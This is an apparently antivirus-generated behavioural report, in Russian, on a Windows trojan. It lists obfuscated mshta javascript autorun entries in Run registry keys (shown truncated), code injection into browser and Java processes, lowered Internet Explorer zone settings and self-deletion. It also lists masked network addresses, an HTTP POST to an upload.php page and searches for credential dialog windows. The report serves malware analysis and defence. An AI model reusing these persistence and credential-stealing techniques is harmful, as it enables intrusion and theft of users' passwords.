Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:NrYh4IzH="k4ca7ER";lK6=new%20ActiveXObject("WScript.Shell");Xin5NC7VB="q4xcb";n5j1fO=lK6.RegRead("HKCU\\sof...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] ' 85580900' = 'mshta javascript:h78aOOdpL="USW";z2V=new%20ActiveXObject("WScript.Shell");OwSJqs2="V";eor5r5=z2V.RegRead(...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:XQiXyBp0n8="x8Wa";TG2=new%20ActiveXObject("WScript.Shell");Rd9s5tzP="h";Db9K2T=TG2.RegRead("HKLM\\software\...
Вредоносные функции:
Запускает на исполнение:
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\dllhost.exe'
Внедряет код в
следующие пользовательские процессы:
- java.exe
- javaw.exe
- firefox.exe
- iexplore.exe
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
Изменения в файловой системе:
Создает следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Удаляет следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Самоудаляется.
Сетевая активность:
Подключается к:
- '17#.#5.144.197':80
- '16#.#6.243.216':8080
- '74.##.102.128':80
- '24#.#1.219.174':80
- '13#.#5.157.47':80
- '24#.#41.122.132':80
- '13#.#03.249.122':80
- '17#.#8.42.14':80
- '15#.#41.71.31':80
- '18#.#62.241.247':80
- '18#.#37.77.30':80
- '47.##0.172.98':80
- '38.#.207.11':80
- '15.##.140.99':80
- '24#.#87.91.32':80
- '17.##9.222.183':80
- '13#.#4.21.89':80
- '21.##.205.193':80
- '98.##1.30.47':80
- '11#.#77.21.199':80
- '11#.#83.210.173':80
- '62.#.77.19':80
- '71.##8.15.50':80
- '15#.94.67.5':80
- '20#.#45.118.40':80
- '67.##6.123.136':80
- '71.##2.141.56':80
- '15.##.21.230':80
- '24#.#34.17.152':80
- '94.##3.32.69':80
- '13#.#54.202.180':80
- '54.##.66.252':8080
- '23#.#3.247.75':80
- '11#.#3.169.172':80
- '18#.#22.233.84':80
TCP:
Запросы HTTP POST:
- http://15#.94.67.5/upload.php
UDP:
- DNS ASK dn#.##ftncsi.com
- DNS ASK microsoft.com
Другое:
Ищет следующие окна:
- ClassName: 'Edit' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'ComboBoxEx32' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'SysCredential' WindowName: ''
- ClassName: 'BUTTON' WindowName: '&Remember my password'
